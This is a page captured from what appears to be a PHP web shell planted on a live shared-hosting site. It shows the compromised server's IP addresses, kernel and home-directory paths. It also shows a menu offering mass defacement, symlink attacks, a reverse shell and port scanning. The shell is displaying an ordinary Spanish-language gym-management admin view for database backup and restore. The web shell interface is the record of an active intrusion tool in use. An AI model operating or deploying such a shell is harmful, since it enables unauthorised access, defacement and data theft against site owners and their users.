Tul xxx Tul
User / IP
:
216.73.216.191
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Views
/
admin
/
backup
/
Viewing: index.php
<?= $this->extend('layout/app'); ?> <?php $this->section('title'); ?> Respaldos de Base de Datos <?php $this->endSection(); ?> <?php $this->section('content'); ?> <div class="app-title"> <div> <h1><i class="bi bi-database-fill-down"></i> Respaldo y Restauración</h1> <p>Gestionar copias de seguridad de la base de datos</p> </div> <ul class="app-breadcrumb breadcrumb"> <li class="breadcrumb-item"><i class="bi bi-house-door fs-6"></i></li> <li class="breadcrumb-item"><a href="<?= base_url('admin'); ?>">Admin</a></li> <li class="breadcrumb-item"><a href="#">Ajustes</a></li> <li class="breadcrumb-item"><a href="#">Respaldos</a></li> </ul> </div> <div class="row"> <!-- Tarjeta de Respaldo --> <div class="col-md-6 mb-4"> <div class="tile shadow-sm border-0 h-100"> <h3 class="tile-title text-success"><i class="bi bi-cloud-arrow-down-fill"></i> Crear Copia de Seguridad</h3> <p>Descarga un archivo <strong>.sql</strong> con toda la estructura y datos actuales del sistema. Es recomendable hacer esto de forma periódica para evitar pérdida de información.</p> <div class="text-center mt-4 mb-3"> <a href="<?= base_url('admin/backups/export') ?>" class="btn btn-success btn-lg"> <i class="bi bi-download"></i> Descargar Respaldo Ahora </a> </div> <div class="alert alert-info mt-4" style="font-size: 0.85rem;"> <i class="bi bi-info-circle-fill"></i> El archivo generado puede tardar unos segundos dependiendo del tamaño de la base de datos. Guárdelo en un lugar seguro. </div> </div> </div> <!-- Tarjeta de Restauración --> <div class="col-md-6 mb-4"> <div class="tile shadow-sm border-0 h-100"> <h3 class="tile-title text-danger"><i class="bi bi-cloud-arrow-up-fill"></i> Restaurar Sistema</h3> <p>Sube un archivo de respaldo <strong>.sql</strong> generado previamente por este mismo sistema. </p> <div class="alert alert-danger" style="font-size: 0.85rem;"> <strong><i class="bi bi-exclamation-triangle-fill"></i> ¡Atención!</strong> Esta acción es irreversible. Se sobrescribirán y eliminarán los datos actuales reemplazándolos por los del archivo subido. </div> <form id="restoreForm" enctype="multipart/form-data"> <div class="mb-3"> <label class="form-label">Archivo de Respaldo (.sql)</label> <input class="form-control" type="file" name="backup_file" id="backup_file" accept=".sql" required> </div> <div class="text-center"> <button type="button" class="btn btn-danger btn-lg" onclick="confirmRestore()"> <i class="bi bi-upload"></i> Subir y Restaurar </button> </div> </form> </div> </div> </div> <?php $this->endSection(); ?> <?php $this->section('js'); ?> <script> function confirmRestore() { const fileInput = document.getElementById('backup_file'); if (fileInput.files.length === 0) { Swal.fire('Atención', 'Por favor selecciona un archivo .sql', 'warning'); return; } const fileName = fileInput.files[0].name; if (!fileName.endsWith('.sql')) { Swal.fire('Error', 'El archivo debe tener extensión .sql', 'error'); return; } Swal.fire({ title: '¿Estás completamente seguro?', html: "Vas a restaurar el sistema. <br><b>Todos los datos actuales se perderán y serán reemplazados por los del archivo subido.</b><br><br>¿Deseas continuar?", icon: 'warning', showCancelButton: true, confirmButtonColor: '#d33', cancelButtonColor: '#3085d6', confirmButtonText: 'Sí, restaurar sistema', cancelButtonText: 'Cancelar' }).then((result) => { if (result.isConfirmed) { // Doble confirmación por seguridad Swal.fire({ title: 'Última Advertencia', text: "No podrás deshacer esta acción una vez inicie.", icon: 'error', showCancelButton: true, confirmButtonColor: '#d33', cancelButtonColor: '#3085d6', confirmButtonText: 'ENTIENDO LOS RIESGOS, RESTAURAR', cancelButtonText: 'Mejor no' }).then((secondResult) => { if (secondResult.isConfirmed) { processRestore(); } }); } }); } function processRestore() { const formData = new FormData(document.getElementById('restoreForm')); Swal.fire({ title: 'Restaurando Base de Datos', text: 'Por favor, espera. Esto puede tomar unos minutos...', allowOutsideClick: false, didOpen: () => { Swal.showLoading(); } }); fetch('<?= base_url('admin/backups/restore') ?>', { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest', 'X-CSRF-TOKEN': csrf_hash } }) .then(response => response.json()) .then(data => { // Update global csrf hash if returned if (data.csrf_hash) { csrf_hash = data.csrf_hash; } if (data.status === 'success') { Swal.fire({ title: '¡Restauración Exitosa!', text: data.msg, icon: 'success', confirmButtonText: 'Recargar Sistema' }).then(() => { window.location.reload(); }); } else { let errorMsg = data.msg || data.message || data.error || 'Error desconocido'; Swal.fire('Error', errorMsg, 'error'); } }) .catch(error => { console.error('Error:', error); Swal.fire('Error Grave', 'Ocurrió un error de conexión o la sesión ha expirado (CSRF). Por favor recarga la página e intenta de nuevo.', 'error'); }); } </script> <?php $this->endSection(); ?>
Coded With 💗 by
0x6ick